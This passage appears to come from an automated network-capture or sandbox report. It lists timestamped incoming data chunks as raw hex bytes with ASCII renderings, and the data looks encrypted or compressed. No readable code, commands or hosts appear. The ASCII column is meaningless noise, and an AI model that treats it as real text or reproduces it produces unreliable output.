7a a7 20 ea 53 35 Data Ascii: BvEi+F^E&v7t]j%(I\|k'bLh'I*Bg3EMhm%su#]Anq>'P\1x"3i}8'.GFspJf')QTZR d&G+XE]kuNJ5R~%W!y@#Q]}bpR4co(z S5
2022-01-14 03:59:48 UTC	2969	IN	Data Raw: 8a d3 27 fa 74 79 a4 28 92 1a d3 a7 6b 6f cf e8 a6 de 5b 7d e0 8c 77 69 0b b2 9b f7 e1 6e c5 12 e6 f9 50 d9 eb f2 52 24 91 de bc 16 08 a6 dc 3a 65 de 22 e6 f7 7c 59 48 b4 3a f6 1c 1d 19 a5 e5 a0 90 91 fe 31 09 a4 47 bd 00 b6 bc b4 00 0e 1d de fb f5 3c b1 26 2e 11 ca 99 e5 2e a9 34 85 66 b8 68 48 a9 50 0a 53 e5 9b be 02 e5 1f 0f 06 57 68 7f bf 61 28 0d 5d 0c 4e c4 70 a4 7f 6f c6 8c d2 3c 5d 9f 1e f1 96 6b d8 e7 9b c5 6a ca 37 10 ad 19 d9 e0 ea 7d 5d 7a a8 2a 26 4f f6 86 0c 9c 9d 3a 6a fe 2b 28 b4 41 c5 dc 5c 2a 2a bc 6d ee 85 4b 75 9c f1 44 20 08 13 d1 7e cd c6 9b 5d 4e 61 c1 ba 43 ff 12 4b 99 63 96 33 5d 34 ba a5 57 04 a6 2a ac 5d 31 61 bc 06 3a 22 db f2 7b 6c 48 c6 e0 82 ee 57 36 9f 9c 13 13 aa 77 01 52 f1 4f cb db 9e a6 a7 f7 4b f9 5e f0 33 f8 4c 3f 80 Data Ascii: 'ty(ko[}winPR$:e"\|YH:1G<&..4fhHPSWha(]Npo<]kj7}]z&O:j+(A\mKuD ~]NaCKc3]4W]1a:"{lHW6wROK^3L?
2022-01-14 03:59:48 UTC	2985	IN	Data Raw: 20 7c 97 5d 76 16 fd 35 f4 d1 4f 45 b6 6b 80 f9 68 37 f1 ce 55 b6 c0 8f b2 4e 81 dc 53 3d 15 77 ac d6 cd 36 d9 3f 18 7e f8 63 f4 bf 4b d2 62 11 ab 8b 30 ea 10 f6 83 bf d6 0d d0 4f dc 67 08 1b 2d f0 51 12 74 ab 37 51 4d c9 9a 43 5b af 16 82 ca d0 ca 11 86 8b ae a1 5a eb d6 84 ae 28 71 d5 79 0d e1 bc 43 f2 72 02 51 b2 77 8f 80 bd 04 b2 23 0a 8b 95 43 7b 5e fb eb 37 e0 c4 0c 8d e9 f2 dc 2d d9 e6 27 f2 29 a6 40 90 e0 d0 e6 58 d2 bf 6e e4 74 7e dc 2a 11 60 be 77 62 5e 90 b0 4c ed 43 36 1f e9 54 b8 9c 19 b4 c5 b9 4c 8a 29 55 70 9d ff 12 ed 8a 69 63 b4 61 d8 48 fd e6 39 02 68 54 ac 0f 89 6b 69 e2 a4 58 c7 1e 8e fb 5a db af 54 06 43 15 9b 45 0c f2 1e 32 73 91 6f 21 fb a9 30 13 2c 5b 55 42 49 78 d6 a8 52 70 99 ed aa 75 1f 50 37 26 0f 14 fc 41 df 68 7a 76 25 3a 0a Data Ascii: \|]v5OEkh7UNS=w6?~cKb0Og-Qt7QMC[Z(qyCrQw#C{^7-')@Xnt~*`wb^LC6TL)UpicaH9hTkiXZTCE2so!0,[UBIxRpuP7&Ahzv%:
2022-01-14 03:59:48 UTC	3001	IN	Data Raw: ed 6d a5 90 c9 62 f1 51 d3 b9 97 79 ec 64 af a9 e9 54 c6 61 4c be 51 83 b2 6b 8f 2e c6 80 ab de 19 9d 1d b6 55 bd c9 d0 5c a4 2d da af 71 73 53 f1 a9 b2 9e 6e 6e 44 1a 19 8b fb a7 ae 8f f4 82 9e ff 4f ac cb 27 6b 32 92 5c b0 aa 07 16 58 20 0f 40 54 eb 9b fa b2 19 1d a1 cb 53 77 3d a4 5d 5b bc 7f 40 e7 7b 65 c5 10 7e ee d2 b8 37 58 2d e0 f7 9f 64 96 79 de 67 45 d2 1e f7 01 68 6d b6 c2 55 09 cf 53 0f df 5b 96 84 55 d8 88 d2 02 9c b9 c5 53 fa d3 f2 f3 2f 13 3b 9e d1 4b 20 90 8a 6b 0a 3a 65 2e 6e 5a 97 bb b0 45 3e 71 39 80 fc ae b5 26 64 2e e7 4b eb 74 6f 37 35 64 8f 4b 34 92 07 d6 ff c4 aa 1b 5f 24 df 81 37 de 42 4f 1e d6 17 b3 a7 20 80 a8 11 df 53 1f 32 f6 33 e3 50 3a ab c7 7e 76 e1 15 ca c3 e3 50 20 15 09 dd 4c 7d cd a9 92 e3 63 50 a4 78 bf 14 ac b0 bf 50 Data Ascii: mbQydTaLQk.U\-qsSnnDO'k2\X @TSw=][@{e~7X-dygEhmUS[US/;K k:e.nZE>q9&d.Kto75dK4_$7BO S23P:~vP L}cPxP
2022-01-14 03:59:48 UTC	3017	IN	Data Raw: ed 8c f1 3c 86 15 69 ff 08 de a8 6f d8 8d 5f 02 69 da 87 11 2e ab 23 00 89 bd c5 b0 1c a3 1b 6f fa dd cd ff b7 25 91 2e 36 e9 47 40 e4 73 82 20 03 ec 8a 21 00 90 13 f0 b6 60 17 8a 2d 86 ef d0 54 46 ff 62 33 5e 27 01 4a 4f ed a9 2d 8e 1e 47 c7 e4 fe 68 d6 25 23 ed 50 f5 9c ed 71 c8 bd 34 59 20 7b 09 db 41 60 03 ca 58 9d e1 49 99 9d 07 3c 0c ee 3f 35 12 ca 5c 3e 34 ad 03 09 5e 12 72 0a 7f e0 39 eb ca a3 45 f3 13 b6 38 3c 65 ee a3 05 b2 6e 5d ab 84 83 eb a4 e1 ac e8 48 be 93 87 ed 79 d4 e1 63 95 e6 95 2b fa 48 42 22 86 57 ef 21 9f f8 ff f3 eb 1c 8b 1e 16 ea 46 cf 36 7b 41 ce 53 ad 2a 15 80 d5 59 e4 5f 37 06 35 4c 86 22 b8 43 8f be 4f 4e a4 69 91 67 52 e0 d7 05 69 81 ee ca 0c f1 9a 0d 2c 84 5f a4 78 06 54 39 f0 17 8f ea d5 e8 c3 29 38 54 7e f4 19 39 05 68 1a Data Ascii: <io_i.#o%.6G@s !`-TFb3^'JO-Gh%#Pq4Y {A`XI<?5\>4^r9E8<en]Hyc+HB"W!F6{AS*Y_75L"CONigRi,_xT9)8T~9h
2022-01-14 03:59:48 UTC	3033	IN	Data Raw: 48 f1 be d7 b1 9e 85 3c f9 46 4e b7 6b 68 9a 0a ba d9 48 ea d7 06 d2 3a eb 66 6f 0f 41 36 7d b0 3b ed 82 e9 ae 9f 14 50 96 4c 68 e6 6f de 80 0f 09 67 0b d2 ee aa 40 2b a7 d6 27 b5 15 fb be 8c 3d a5 48 81 f3 80 40 d1 d6 bf a3 cd 4a b1 f7 5e 15 a8 1b 05 d2 05 d9 b9 17 d1 e9 01 36 77 8b 47 6a 80 28 05 9f 6f 9d e1 3f ff 25 28 4a cc c6 ff 32 8e b3 e2 0d bf 7f 62 c9 31 78 9e 90 71 d0 62 a7 38 6d 8a 52 aa 1c aa 99 06 45 0e 26 fa a8 75 05 8b 94 db 9b 15 1e e0 39 5b c0 79 8a 91 c0 45 4e 09 2f ad ad 09 7d d4 3b d4 c4 41 64 d1 0c a7 c4 08 fe e5 aa 8b f9 bd 73 e1 34 6a c0 72 98 d4 db db 47 d0 df b0 d2 40 85 a6 1d ff 07 8d 06 2f 20 52 33 36 37 fb c9 71 99 33 39 be b0 ea 84 b1 94 9f 21 14 36 fd 0b 52 f0 16 34 a6 eb e2 28 84 c8 2b 99 82 2a 69 3d 2d 91 cd 1f 66 7e 3a 1e Data Ascii: H<FNkhH:foA6};PLhog@+'=H@J^6wGj(o?%(J2b1xqb8mRE&u9[yEN/};Ads4jrG@/ R367q39!6R4(+*i=-f~:
2022-01-14 03:59:48 UTC	3049	IN	Data Raw: 38 25 cf 71 d9 84 85 90 3b b9 d9 d7 e7 cf b5 07 5a 95 66 20 30 56 0d 00 6b e1 21 b3 38 79 ae 8c 9e bd a5 26 98 07 37 12 a6 71 83 83 08 7f 2b db 3a 93 10 d2 6f 83 0c 3e c2 74 d0 37 00 ec 10 65 7b 25 b6 28 47 77 ef f6 c4 4d 0c 2c 71 00 ab 75 b1 71 e8 d8 ab 53 61 0b 99 7a 3e 51 e4 02 77 ed da 54 1e 50 39 4e 60 bd 06 f4 03 1c 98 96 c7 f3 b4 26 f3 62 00 51 8c ad b6 14 1f 28 23 c3 bd 16 1b b6 77 13 36 cb b1 18 01 fa f2 91 f8 23 f4 b9 4f d5 bb 01 a0 78 a1 0c 84 bc 14 36 f1 75 33 ff 16 99 aa fd e4 68 02 63 a0 de 0d e7 91 be de 0e 5f 0d 35 b2 83 9f ff 26 7d c8 de 19 d7 5b 14 bd e0 1a e4 00 d9 35 81 c9 7d b4 3c 46 49 89 39 78 7c dc f4 76 67 50 ad ed bc 58 04 d4 f6 2a 71 5d ee 44 45 d2 12 95 dd 36 d8 74 f1 6a a3 37 ef df 9c 29 c7 07 b2 eb 51 ba 55 5c e1 a4 bd d3 9b Data Ascii: 8%q;Zf 0Vk!8y&7q+:o>t7e{%(GwM,quqSaz>QwTP9N`&bQ(#w6#Ox6u3hc_5&}[5}<FI9x\|vgPX*q]DE6tj7)QU\
2022-01-14 03:59:48 UTC	3065	IN	Data Raw: 6c 8d bd 1e 23 90 81 11 88 c5 1e 45 b3 ca 20 7e f3 28 e7 a5 21 1c 8b a9 0b 25 6e 1a 7a 1a 27 f1 bb 5b e9 29 1d f9 c4 3b 70 98 4f e5 48 46 ba 14 01 82 8d 1f f6 e4 1e 7d 41 da 44 92 a7 99 98 aa 17 20 5e 45 bc fe eb 0a c4 33 21 21 1b ba a7 4c 2c 61 96 7d 07 c0 bf 38 08 0f 93 69 f0 03 4c e3 61 c2 6a dc 17 44 c9 76 fb f9 3d d8 35 1c 94 74 f3 cb 54 64 b3 16 78 40 fe af 3d 61 31 ff d2 2b 56 51 fd 73 a8 a4 4a 8b 36 bb 7d b2 2f 07 e7 d4 45 f2 ae 44 fc c1 39 0f 50 9b bf c4 94 76 20 e8 c7 70 91 b7 f3 c3 42 33 3a d5 9d 32 64 7f 92 09 2d ff a3 f2 fb 8c 32 4d 31 b3 ca 7b 30 14 aa f8 d5 c9 95 c3 a4 18 31 64 d3 c0 8f 8d c6 83 83 88 bf e4 e7 ac 8b 0f cf a7 9e 2f bb d1 62 9b f8 3d f6 f2 e3 b1 ce 24 b1 0b 50 c8 7f 14 67 87 cd f7 3f 2a 53 df e6 1c f5 98 a9 4c d4 58 0c 95 34 Data Ascii: l#E ~(!%nz'[);pOHF}AD ^E3!!L,a}8iLajDv=5tTdx@=a1+VQsJ6}/ED9Pv pB3:2d-2M1{01d/b=$Pg?*SLX4
2022-01-14 03:59:48 UTC	3081	IN	Data Raw: 4f 4b 96 1a 51 e3 ce e0 91 dd 37 cd fd 86 33 f0 bf cf ba ae 4f 16 ce 27 c1 e7 a8 e2 d6 f8 fb ed 9b f5 6f 8c d5 61 ab 45 0f ca 7d 70 69 29 2e 20 05 05 26 65 bf a1 9f 4d 42 cf 20 84 6e 25 73 52 2e 06 8f de 88 28 f7 26 0e 76 8e 4b c9 a8 e0 56 fe e2 e5 6b 7b 13 6d 41 d6 ce 6d 41 78 e0 88 65 15 47 c1 31 92 87 4e 94 3a b9 af 80 df 24 3d 53 c9 f6 88 e6 12 21 4c ce c9 61 17 df 61 8e fd 65 c6 14 66 f9 6f 03 36 72 18 3f eb a2 e6 cc c4 68 7c 4b 96 34 b9 c0 87 b2 a2 73 88 8e fe 34 a5 2a 31 8b 17 74 0d 24 b5 90 6e 6b 57 02 51 14 f4 ce 23 b0 b0 9b c8 11 d1 64 05 17 51 58 85 03 cf 49 23 9c 88 37 90 76 f4 5b 66 18 2a 7c f7 bc 38 f1 63 20 fe 60 06 8f 5e ae 9e ff 1e 9e cf 48 95 f7 37 f6 ad bc c9 38 11 3a c5 40 bf 50 e9 1e 40 b7 28 3a 7c cb 2c 46 6d f7 6b cc af af 81 3f 4c Data Ascii: OKQ73O'oaE}pi). &eMB n%sR.(&vKVk{mAmAxeG1N:$=S!Laaefo6r?h\|K4s41t$nkWQ#dQXI#7v[f\|8c `^H78:@P@(:\|,Fmk?L
2022-01-14 03:59:48 UTC	3097	IN	Data Raw: 37 7f 10 2d 7e b8 df 16 79 47 9e 37 59 79 a0 ef ff 73 78 7f 61 49 71 09 83 a8 5a 38 1e 3d 41 d7 8c 6f 17 6a 78 b5 3f 31 fe fd be bd a2 36 13 fc 42 56 c3 3d a5 70 1b 20 28 7c e0 40 a3 71 66 be 4c 38 d3 b5 65 7c cf 86 43 8c b8 0d 7b e8 19 88 02 0a d4 16 56 c9 7e 94 05 e8 ec 8f 4c b9 e8 2b d2 08 6e a6 07 25 55 a4 97 c0 7b ba aa 3f 13 0b 3a 31 fe 2d 4c 3b ff 5a 95 41 ed 97 3c 6e 25 1b 6f ed e1 8d aa 73 e1 c7 76 a7 9e f6 e3 52 94 2b ec 34 45 a4 ac 1a 04 4d e2 ec 0e f4 de dc 5f 38 9f 4a 57 f6 5e 3a 7a 10 92 2a 4e 97 b8 8d 8a 0b 91 14 c7 35 b0 96 23 20 8e 5b 17 1b 72 69 48 09 6c 98 37 16 a3 f1 f6 41 33 42 d6 17 a7 29 33 c6 2f ce 97 52 52 e4 a5 ef 38 9d 09 aa 32 b6 23 0d 09 e2 16 bb f8 3a a2 57 8b b2 f0 5a e3 13 48 60 38 56 13 33 a4 db 20 5b 5b de 2a 0a f1 0d 61 Data Ascii: 7-~yG7YysxaIqZ8=Aojx?16BV=p (\|@qfL8e\|C{V~L+n%U{?:1-L;ZA<n%osvR+4EM_8JW^:zN5# [riHl7A3B)3/RR82#:WZH`8V3 [[a
2022-01-14 03:59:48 UTC	3113	IN	Data Raw: 6a 30 f6 95 fc 8c 68 64 1a ad d2 9c b7 7c 6a c7 7a c4 10 2c c6 54 9e 30 02 0c 4b 17 98 8a 2a 3c 44 72 3d 93 f9 a8 f5 6d d5 20 33 c0 53 ac 4e 15 2e 02 63 da 04 88 f3 38 4f 36 74 97 28 fe 78 18 16 58 27 2d 7c 41 b1 92 a3 fe 17 ef 88 2e 34 05 ba 59 05 60 8e 53 a8 0d 54 73 9e e8 0e cc 8c 07 63 e3 6d bd 79 6c c2 26 2f 44 b6 d0 cb 05 9c ec d6 81 1a 6b dd 49 53 13 f0 7b 32 90 e2 64 e0 e7 df fa 6f 28 d6 10 f3 5d 06 1d 44 5a 5c c0 f1 a0 3f 3f d4 2a de bb 68 ed ec 36 55 1b d6 c4 fe 8b 72 59 9b 54 69 a2 d7 4c 16 c0 31 8a 20 27 f5 75 94 96 a4 5b 3c 91 86 88 a5 3d 70 dc 72 ab 97 b9 ad 67 aa c8 ae 40 bf 2f 73 65 f9 24 69 90 24 f8 aa 8e 1d e0 b6 1f c7 40 21 0c 19 56 e5 00 98 c7 22 bb 02 4d 81 85 1e 78 e2 56 66 2b 3c 8a 49 e5 c6 39 3e 79 fb e4 64 76 09 a5 63 7d 39 1f c2 Data Ascii: j0hd\|jz,T0K<Dr=m 3SN.c8O6t(xX'-\|A.4Y`STscmyl&/DkIS{2do(]DZ\??h6UrYTiL1 'u[<=prg@/se$i$@!V"MxVf+<I9>ydvc}9
2022-01-14 03:59:48 UTC	3129	IN	Data Raw: e3 31 ef e3 5b 8d c7 0a c1 95 da b3 3f 7c 09 47 19 d5 06 e3 c3 a9 5d b5 9c 92 47 23 52 87 43 24 0f 76 e4 e8 de 32 6f 40 7a 0a f8 b0 8b 8e 7a 94 bd 44 b5 30 ae 3e 24 4d f5 90 13 a3 b4 96 65 83 d7 1e 42 0a ff dd c2 a0 bb 16 78 53 26 d8 16 02 43 e3 7e 9f 29 2f 44 f2 93 8e 2f 1d 6e b8 d6 68 d1 aa 73 31 f9 45 2c 14 84 9f 23 43 84 92 97 2c f6 a6 7c ce 86 51 29 f4 cf 8c 64 bb 72 64 a4 20 2c 08 bd 69 e5 e1 ce fc c6 c1 88 23 a2 cb 50 a7 31 63 e6 db 9e cc e1 ab c7 16 3d 4a 3f fd a6 fe d9 2f 4f 8d 84 8c 69 eb 24 e1 f3 6f 5e 6f 6c a6 28 eb 57 99 af 19 5c d5 54 26 c6 8e db 71 ac fe f4 d0 7f c7 70 5b d2 4d 95 6d ba 7a e8 ec 0e 1c fb 23 01 8a a0 58 40 56 e5 fe 24 4f 4f 9c e2 1f ff a6 a9 9d 2d 70 ac 69 ef 7b a1 fc 0c c6 e8 68 57 28 91 6a 23 86 2a 10 ce 83 10 9e 9d 71 a3 Data Ascii: 1[?\|G]G#RC$v2o@zzD0>$MeBxS&C~)/D/nhs1E,#C,\|Q)drd ,i#P1c=J?/Oi$o^ol(W\T&qp[Mmz#X@V$OO-pi{hW(j#*q
2022-01-14 03:59:48 UTC	3145	IN	Data Raw: 34 62 52 d0 50 1e 3c c7 6a 58 6b ca ca 23 cd c8 10 3f de 64 37 16 a4 31 4c 7b 2b dc e3 a8 84 22 13 ea a7 d2 03 9b 44 8a f6 4b 70 ea 6d 3e 19 57 3f f5 53 f0 d1 07 a2 49 ad 48 5f 57 72 08 bf f7 2e 64 dc 88 8e 7d ab b3 76 42 5d b7 0a b8 87 da 6a e7 e7 4c f8 fa f1 4b f9 bc 7a 3d 80 fd ec 18 5d 0e d1 32 ca 73 f8 c9 01 b1 fb 03 19 0b 08 a7 e6 ab c5 1b d2 87 b8 d5 9d 8e 31 af cd a6 8b 1c f7 a2 d5 d9 f2 e3 e5 8c 4c 5e eb 99 fd ab 61 2e ad e6 5e 70 99 46 bf 4c 04 26 da 4a 7f e8 1a 37 22 26 3c 85 f7 b4 aa cb ff a6 12 fd 7c 5a cf 3a 8a 0e 6e 1f e4 d7 8d bf 96 f4 b4 45 8a 87 ea 7d 0b 47 dd 7b e1 30 73 78 de a1 19 ae 91 72 09 8a dc 6e c0 ab e7 c3 0d 35 3c 72 5a af b3 60 26 62 81 8b 03 e4 9b c0 a0 e4 5a 93 ac 90 7c 34 9c d1 79 c2 ef 94 a1 47 0b a7 63 ec fd b5 aa aa 48 Data Ascii: 4bRP<jXk#?d71L{+"DKpm>W?SIH_Wr.d}vB]jLKz=]2s1L^a.^pFL&J7"&<\|Z:nE}G{0sxrn5<rZ`&bZ\|4yGcH
2022-01-14 03:59:48 UTC	3161	IN	Data Raw: 95 6a 36 f9 f2 de f3 72 eb 7c 0b b0 84 16 f2 48 cd 49 8b 73 0c 3f b3 e9 bd cc 3f 45 16 b9 5e 79 aa 28 f8 2f 96 68 81 de 91 9a ba 3b 68 fc f5 b1 f6 ac 52 7e 99 6b 8d 6c d7 9b 5e fd a0 aa 88 69 60 c0 7b 92 1f 8d 9b a9 3c b9 e4 2d 28 d9 f5 c8 cf c1 64 47 e0 9b 1f 05 19 5e dd 5c 19 13 fb 90 fa 3b 5d f6 19 d4 b3 9f ae 16 6b c8 82 48 0d dc f1 02 5d 9f 81 bf 81 74 15 e8 df ac b5 e0 05 8a 72 08 4e 9a 49 a5 ad 20 30 ad 6d 35 04 b5 a4 31 89 2b 7b 4b 8b 43 f7 1c 03 80 0e 2a bc 34 e0 76 f9 3f 9f eb 64 d3 f1 88 df c8 7d 46 fb 25 f0 b0 bb 9a 7a 88 44 07 cb b9 b1 1f cf c4 4c 0a ab 63 e0 97 e0 5c 62 02 b3 3f 4f 5f 68 b7 6a d1 b6 2b 50 41 26 14 cd 0a 9d b5 89 fd 3b 01 a9 38 dc 7b b5 e7 27 03 e6 42 e9 7f c0 2a 86 dd e1 86 44 db 14 78 37 f8 60 64 d4 f3 83 a2 5c f8 04 de f6 Data Ascii: j6r\|HIs??E^y(/h;hR~kl^i`{<-(dG^\;]kH]trNI 0m51+{KC4v?d}F%zDLc\b?O_hj+PA&;8{'BDx7`d\
2022-01-14 03:59:48 UTC	3177	IN	Data Raw: 95 d7 63 43 7b f0 f4 4b 68 ce 11 df ce 9a 04 25 0a 35 dc 34 e5 24 47 ca 48 77 22 8a 2c 5a cb 54 72 c0 d4 5b c8 ac 3d b0 a7 5b 02 80 f0 79 53 a5 e0 c7 69 28 8e f8 32 bf c9 04 77 d6 68 34 bf 95 74 30 df 79 e8 37 a0 0e 0b d3 0a c8 bd 61 75 ca 83 52 c6 41 da 04 78 fd b5 2a 1e e8 02 68 e3 36 ff 71 ad fe af e8 c8 80 de f4 d3 46 d8 d7 80 7a 90 82 e7 0f ea 67 0b 37 34 91 24 95 06 0f b6 92 c8 e7 aa bd 8c bf 67 f5 2e 33 cb 39 2f d0 51 7d ff 27 8e ed 77 5c 78 e6 f2 f7 4e 35 10 bd 58 a2 4a 73 c5 9c 4d 92 f5 04 af 86 58 31 7f d7 9b 39 10 1f 19 ed 0e 59 d1 ff f0 75 40 e4 fd 3a e4 b0 35 bd d1 50 ed f3 75 4a 1c 61 0c c8 78 3e 79 e7 d9 b7 ea 07 a4 4a ca 02 ad a0 79 5e 2a 98 b1 cf b4 64 19 29 8a 07 94 b5 24 df 42 14 07 91 ba 4e 11 01 8e 09 27 3a 35 f0 93 a6 60 55 ee d3 81 Data Ascii: cC{Kh%54$GHw",ZTr[=[ySi(2wh4t0y7auRAxh6qFzg74$g.39/Q}'w\xN5XJsMX19Yu@:5PuJax>yJy^d)$BN':5`U
2022-01-14 03:59:48 UTC	3193	IN	Data Raw: 34 21 58 c2 1a 52 a4 cd 0f 08 fb 53 3f 8c 6f 92 66 33 96 6e 63 d8 a4 ea 4e 9e 56 41 24 59 12 46 75 6d 38 b6 31 07 f4 ea 86 4c 67 f9 d0 0a c0 8b 7c 40 e8 03 6c 93 ad d7 8c c8 d9 95 04 92 d2 f7 42 21 2a 30 6d a8 04 eb d9 7d 73 87 70 73 5d f4 38 7d 04 2a bc dc 19 4e 16 50 81 77 62 8c e5 7d d7 44 98 eb cc b3 49 84 d0 38 1c 98 bc e4 1c 03 b7 44 f8 5f 95 ed bc ea 62 9c f4 14 2e 4d cc b3 6b 5c 38 1c 1d 33 59 28 e6 c2 12 a4 d3 a8 3d f6 54 0e d3 16 94 2a 8e f3 25 9b ba 3f 92 57 a8 62 62 a8 a7 92 24 b1 e1 6e da 34 14 75 1a 29 4e 5a 15 e5 8e fa 6e d1 51 33 97 95 c8 64 48 44 41 05 a5 23 78 8a 6f 0a 86 5f 37 43 04 ac e0 2a cf 4c 2f d3 6b 3a 34 23 64 b0 78 a0 a2 8a 9a d1 f9 db 1f 9a 47 72 69 81 23 75 db e5 30 9b 4d 16 21 b4 16 f5 d0 1b 1f b3 1e a7 94 ff 17 f4 07 53 5d Data Ascii: 4!XRS?of3ncNVA$YFum81Lg\|@lB!0m}sps]8}NPwb}DI8D_b.Mk\83Y(=T%?Wbb$n4u)NZnQ3dHDA#xo_7CL/k:4#dxGri#u0M!S]
2022-01-14 03:59:48 UTC	3209	IN	Data Raw: 2c 2c b0 2a 6b 97 de 5b 27 0e 69 22 c4 a1 5b 87 b0 68 46 fd 7e a1 ba ba 4f f1 7b dc 70 34 ba b4 f1 ea fd 00 7b 3c ed 5f 8f 25 db 65 85 5a 4f 54 9b e7 ff 2a a7 e2 16 9e 16 96 d6 09 45 ab 5d d5 4e b7 37 c9 13 1e 42 96 94 7c 76 f2 e9 ad cd 7a 9c 9a d1 6f 7d b2 74 e2 a0 2d 2d 91 93 3c f8 34 68 02 33 d6 f8 ee 98 6f d7 26 aa 7c 82 75 68 e8 32 69 6d a1 d4 fa c8 89 ee 2e ba 4b 51 b1 05 aa 5e 73 48 2b b9 25 cf db da f0 4c 78 9c 9a 73 a0 da 74 9e 70 de 76 73 a7 20 39 1c ac a9 1b cd 45 4b e6 0e ad e3 c6 e4 63 3e 6f ba 04 96 c0 6f e8 73 21 4c e7 2a e7 ee fa 31 06 7d 47 9c 37 b1 88 98 fe 51 f2 1c 59 fc 02 c0 98 ef 24 10 d3 f2 31 45 b5 81 21 05 86 9f 68 a4 35 7c 88 95 02 fe a2 f1 57 90 60 6b d4 c5 6e f8 78 5a d3 49 4e cf d3 08 51 83 04 96 42 f5 dd 57 d8 ce b4 3f a2 32 Data Ascii: ,,k['i"[hF~O{p4{<_%eZOTE]N7B\|vzo}t--<4h3o&\|uh2im.KQ^sH+%Lxstpvs 9EKc>oos!L*1}G7QY$1E!h5\|W`knxZINQBW?2
2022-01-14 03:59:48 UTC	3225	IN	Data Raw: 9a 4d 43 ef 9f 91 e6 79 31 2d 7a 7f c4 7b 60 c5 2b 14 62 ea 1b f9 fa 12 77 e9 4a 09 97 19 1b 7a a2 0a 22 14 bf 22 66 13 cf 38 84 a1 01 99 d6 f9 d6 de 7a de 69 8d 8a 8d 7e 63 dd ca cd 57 f7 fa 17 99 67 1f 2a 7c 90 a0 c4 f8 7d 67 af 10 84 07 56 e9 58 86 4e 48 01 49 15 e6 f3 7f ef 79 89 fe 11 ac 86 77 9e 60 36 21 01 ad 13 cd a7 b1 86 37 fb 61 ce d1 67 f8 69 cc db 0e c7 f8 09 2a 17 f7 d4 c9 53 41 1d b9 f3 0e 2e e4 c9 c5 5e 7b 54 06 f2 f6 37 f6 d2 95 74 55 0f ea 43 87 da 4f 7b 31 2f e2 cf 9c d0 7f 63 b2 b9 2b ad d0 9a 60 5e 9a 5b e7 40 9d d2 fc 67 37 ac 2b 7c 16 04 d3 09 7b 84 51 e9 51 1a 27 19 3a 31 1b 1c f3 1e 08 1d bc 42 c1 d8 26 d3 d3 f6 b8 68 a5 52 a2 99 68 87 1c 2f b3 e6 f7 b7 49 f6 5a a5 a4 57 38 9d 05 dc 74 74 d7 56 73 29 ed 73 c8 e8 59 80 1c de bf 97 Data Ascii: MCy1-z{`+bwJz""f8zi~cWg\|}gVXNHIyw`6!7agiSA.^{T7tUCO{1/c+`^[@g7+\|{QQ':1B&hRh/IZW8ttVs)sY
2022-01-14 03:59:48 UTC	3241	IN	Data Raw: 65 aa 9e 16 75 d2 f8 01 ff 5e c5 7d 42 3a c2 3e b1 e3 6d 6e ed 2e c1 c5 19 98 7a 6d 21 e8 b6 ef fd 7a 19 5b 2f 2c db 4f 15 1c 22 c7 56 7e ea 87 59 70 26 d3 2f fd 17 a3 b0 03 6f 03 25 fe 4b 3c 8f 87 0a 16 96 7a eb d8 92 81 3f 3a 9e 66 9a a1 71 32 9a 0d fb 81 9b 2f d2 96 b5 4d df 44 f7 a8 11 44 a1 0d 42 82 a3 01 93 01 d5 2d 2b 6a c4 e0 dc 4c 71 34 58 0b 98 33 7c fe d8 bc 4e 50 fa d8 f5 26 b5 e8 0b 36 e2 cc fa 39 79 94 1b 5d 50 a9 b7 9c 02 5f 5b ac 58 bb 56 fd 75 67 a1 67 3e ce 6b c3 ed 2e 0a 89 f2 19 f5 e8 9d 52 5f 67 4a a2 65 33 af 35 94 f9 01 a6 1f 41 09 39 9d 60 41 1b 77 b4 2a 2d 6d 27 dc ea 6d a6 f2 d3 6e a4 64 ac 2b 7a e6 fb 51 58 2c bc 30 06 04 c1 d6 15 aa ac 2f 1a ad 6c ef 89 9b 9a 54 e0 6d 59 56 95 8c 70 4e 64 7a d9 10 91 f7 b6 63 5f bd 79 4c e0 b8 Data Ascii: eu^}B:>mn.zm!z[/,O"V~Yp&/o%K<z?:fq2/MDDB-+jLq4X3\|NP&69y]P_[XVugg>k.R_gJe35A9`Aw*-m'mnd+zQX,0/lTmYVpNdzc_yL
2022-01-14 03:59:48 UTC	3257	IN	Data Raw: d4 ee fe 05 26 f9 25 aa 21 95 ef 62 ca a5 28 82 53 08 6f f7 38 a3 97 93 04 48 19 38 8d 93 48 35 9e a4 ef ff 3c 68 4a 5e 07 65 c6 fa 68 bc a7 f9 a0 39 ca 13 19 72 27 b2 8c e0 53 9b 22 9d 6e 96 2b a5 23 8a 14 37 e0 b2 cf 1b 7b 0a 58 56 b6 9e 46 c6 d8 3b c3 03 76 7f 6b 7e b9 c3 b6 e6 6e a3 a7 de 8c 99 43 71 12 66 83 97 f9 be 40 c3 a7 33 9a a0 62 ba 12 ce 49 b9 e0 53 3f 5f 9e 31 ea bb de 4c 48 50 ee 91 96 39 b7 66 e0 bc bd c4 ee 5f fd 72 e1 d4 ca 8b 41 1e 8e 42 a7 c7 b3 4c a4 97 dd 44 3e 68 ca 41 6c 6b a6 5c 29 cd 9b f8 28 3d e5 f4 1a 00 8e f3 e6 47 1d 9f 30 16 74 79 8e 71 2c a4 5e ba 44 b7 a7 92 48 90 47 5e 21 eb 62 9c 2b a1 db 09 84 71 5f a9 09 9b 1f 80 c1 35 14 4d 58 ef d2 da 16 56 23 f7 07 54 32 10 67 58 7c 9d 15 85 b9 c1 c5 19 10 81 ea 8b 20 c9 a0 a7 ed Data Ascii: &%!b(So8H8H5<hJ^eh9r'S"n+#7{XVF;vk~nCqf@3bIS?_1LHP9f_rABLD>hAlk\)(=G0tyq,^DHG^!b+q_5MXV#T2gX\|
2022-01-14 03:59:48 UTC	3273	IN	Data Raw: 50 90 d4 dc 4c 52 77 06 4e c2 ea 91 67 04 c5 e2 cd 45 5f 97 77 5d b0 3d 42 e3 de 8f 85 08 f4 07 f7 7d e2 a7 ea 36 ae 56 02 8b e2 f3 2e 67 fb 69 89 b9 dc 6f f8 a5 aa ba d2 82 71 01 d5 df 13 8b f2 40 db 07 b9 59 15 5f a2 5f 48 8a d9 46 44 15 91 47 bf 0f a2 40 16 67 06 78 17 cd 8e 86 d4 bf 28 63 c0 e8 ca aa c8 f4 da c5 50 c6 16 f6 23 40 f0 01 dd 72 53 1f c6 67 43 69 44 be 25 71 28 b6 ac ff 23 03 66 45 b7 24 9e 00 2c 2e 9a 76 44 ea 9f 1c 1f 6d ec 02 6d 02 0a a9 5d a1 e6 30 7f 1a 36 9f b5 1b a5 88 13 ba 71 b5 d2 8a ef 57 3e 70 46 a7 d9 74 a8 af 42 5d 02 bc f2 5e c6 64 f1 94 4f 4c ed cd 46 